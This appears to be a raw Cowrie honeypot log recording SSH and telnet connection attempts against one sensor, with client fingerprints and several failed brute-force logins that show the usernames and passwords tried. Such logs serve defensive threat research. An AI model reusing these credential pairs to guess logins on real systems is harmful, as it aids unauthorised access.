{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:42.045809Z","src_ip":"91.92.40.4","session":"c075acf3bf90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":42084,"dst_ip":"159.203.135.109","dst_port":22,"session":"73756309594c","protocol":"ssh","message":"New connection: 159.65.58.200:42084 (159.203.135.109:22) [session: 73756309594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.309613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.515664Z","src_ip":"159.65.58.200","session":"73756309594c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.518668Z","src_ip":"159.65.58.200","session":"73756309594c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":41534,"dst_ip":"159.203.135.109","dst_port":22,"session":"950961ebd5e8","protocol":"ssh","message":"New connection: 182.93.7.194:41534 (159.203.135.109:22) [session: 950961ebd5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.597453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.603408Z","src_ip":"182.93.7.194","session":"950961ebd5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:55.819886Z","src_ip":"182.93.7.194","session":"950961ebd5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fhg","password":"123456","message":"login attempt [fhg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:56.719482Z","src_ip":"182.93.7.194","session":"950961ebd5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suvorova","password":"123456","message":"login attempt [suvorova/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:56.818383Z","src_ip":"159.65.58.200","session":"73756309594c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:57.938823Z","src_ip":"182.93.7.194","session":"950961ebd5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:58.033547Z","src_ip":"159.65.58.200","session":"73756309594c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.117478370666504,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:03.325568Z","src_ip":"170.64.224.25","session":"e9fa69ee0851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52176,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa297cac17c","protocol":"telnet","message":"New connection: 170.64.224.25:52176 (159.203.135.109:23) [session: cfa297cac17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:10.807369Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":41558,"dst_ip":"159.203.135.109","dst_port":22,"session":"f484e4f92fd3","protocol":"ssh","message":"New connection: 146.190.154.85:41558 (159.203.135.109:22) [session: f484e4f92fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:12.735166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:12.740661Z","src_ip":"146.190.154.85","session":"f484e4f92fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:12.823791Z","src_ip":"146.190.154.85","session":"f484e4f92fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albums","password":"albums123","message":"login attempt [albums/albums123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:13.194235Z","src_ip":"146.190.154.85","session":"f484e4f92fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.391080141067505,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:14.198316Z","src_ip":"170.64.224.25","session":"cfa297cac17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:14.281907Z","src_ip":"146.190.154.85","session":"f484e4f92fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40414,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce834e0054bf","protocol":"telnet","message":"New connection: 170.64.224.25:40414 (159.203.135.109:23) [session: ce834e0054bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:39.225488Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47794,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a991d3acc16","protocol":"ssh","message":"New connection: 51.250.105.222:47794 (159.203.135.109:22) [session: 0a991d3acc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:47.792329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:47.796132Z","src_ip":"51.250.105.222","session":"0a991d3acc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:47.923321Z","src_ip":"51.250.105.222","session":"0a991d3acc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:48.305352Z","src_ip":"51.250.105.222","session":"0a991d3acc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:02:49.435489Z","src_ip":"51.250.105.222","session":"0a991d3acc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.545952081680298,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:06.771281Z","src_ip":"170.64.224.25","session":"ce834e0054bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39584,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a7a6c5c831a","protocol":"telnet","message":"New connection: 170.64.224.25:39584 (159.203.135.109:23) [session: 3a7a6c5c831a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:07.569301Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":53590,"dst_ip":"159.203.135.109","dst_port":22,"session":"068a173ad676","protocol":"ssh","message":"New connection: 103.82.20.28:53590 (159.203.135.109:22) [session: 068a173ad676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:11.820318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:11.825390Z","src_ip":"103.82.20.28","session":"068a173ad676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:12.097774Z","src_ip":"103.82.20.28","session":"068a173ad676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05081993","message":"login attempt [root/05081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:12.918823Z","src_ip":"103.82.20.28","session":"068a173ad676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48570,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b39783967c","protocol":"telnet","message":"New connection: 170.64.224.25:48570 (159.203.135.109:23) [session: a7b39783967c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:13.779623Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:14.193648Z","src_ip":"103.82.20.28","session":"068a173ad676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.790746212005615,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:23.359957Z","src_ip":"170.64.224.25","session":"3a7a6c5c831a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52754,"dst_ip":"159.203.135.109","dst_port":23,"session":"094f684b7929","protocol":"telnet","message":"New connection: 170.64.224.25:52754 (159.203.135.109:23) [session: 094f684b7929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:26.883955Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40916,"dst_ip":"159.203.135.109","dst_port":23,"session":"b652112ecb4f","protocol":"telnet","message":"New connection: 170.64.224.25:40916 (159.203.135.109:23) [session: b652112ecb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:32.572330Z"}
{"eventid":"cowrie.session.closed","duration":23.250658988952637,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:37.030146Z","src_ip":"170.64.224.25","session":"a7b39783967c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":42878,"dst_ip":"159.203.135.109","dst_port":22,"session":"05b07fbf8848","protocol":"ssh","message":"New connection: 166.62.35.226:42878 (159.203.135.109:22) [session: 05b07fbf8848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:41.438140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:41.442027Z","src_ip":"166.62.35.226","session":"05b07fbf8848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:41.508068Z","src_ip":"166.62.35.226","session":"05b07fbf8848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"quant456","message":"login attempt [root/quant456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:41.718103Z","src_ip":"166.62.35.226","session":"05b07fbf8848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:42.786318Z","src_ip":"166.62.35.226","session":"05b07fbf8848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":48086,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a25357dca77","protocol":"ssh","message":"New connection: 162.240.75.182:48086 (10.17.0.5:22) [session: 6a25357dca77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:47.363588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:47.369699Z","src_ip":"162.240.75.182","session":"6a25357dca77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:47.459120Z","src_ip":"162.240.75.182","session":"6a25357dca77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"defi","password":"defi123","message":"login attempt [defi/defi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:47.728621Z","src_ip":"162.240.75.182","session":"6a25357dca77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:49.115699Z","src_ip":"162.240.75.182","session":"6a25357dca77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.105.66","src_port":57658,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e214f1cdd23","protocol":"ssh","message":"New connection: 74.48.105.66:57658 (10.17.0.5:22) [session: 1e214f1cdd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.060304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.064302Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
